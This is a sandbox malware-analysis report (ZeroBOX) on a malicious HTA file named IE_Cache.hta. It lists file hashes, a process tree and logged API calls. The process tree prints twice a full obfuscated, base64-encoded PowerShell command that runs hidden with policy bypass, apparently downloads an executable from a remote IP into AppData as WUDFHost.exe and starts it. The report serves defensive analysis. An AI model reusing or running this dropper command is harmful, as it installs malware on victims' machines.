popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

IE_Cache.hta

Generic Malware Antivirus AntiVM AntiDebug PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Sept. 12, 2023, 9:10 a.m. Sept. 12, 2023, 9:13 a.m.
Size 10.2KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 e8fa112b91c1297187713059d481f0c8
SHA256 8f48d2b502b6c1df9bf3676c78f6bc53c5f4daa987393d4c16cef6594a15b107
CRC32 C098AC40
ssdeep 96:PwINQERXqRTxGJet/xH0seA7V6GoiBvJ2JE5b:PwIN7X/c1xLxYsdJRb
Yara
  • Antivirus - Contains references to security software

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\IE_Cache.hta.html

    792

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:792 CREDAT:145409

      2252

      • pOWERSheLL.ExE "C:\Windows\SYstEm32\wIndowsPOWERsHeLL\V1.0\pOWERSheLL.ExE" "POWErshELl -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA== "

        572

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA==

          908

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb87c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cca330
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cca330
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cca330
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

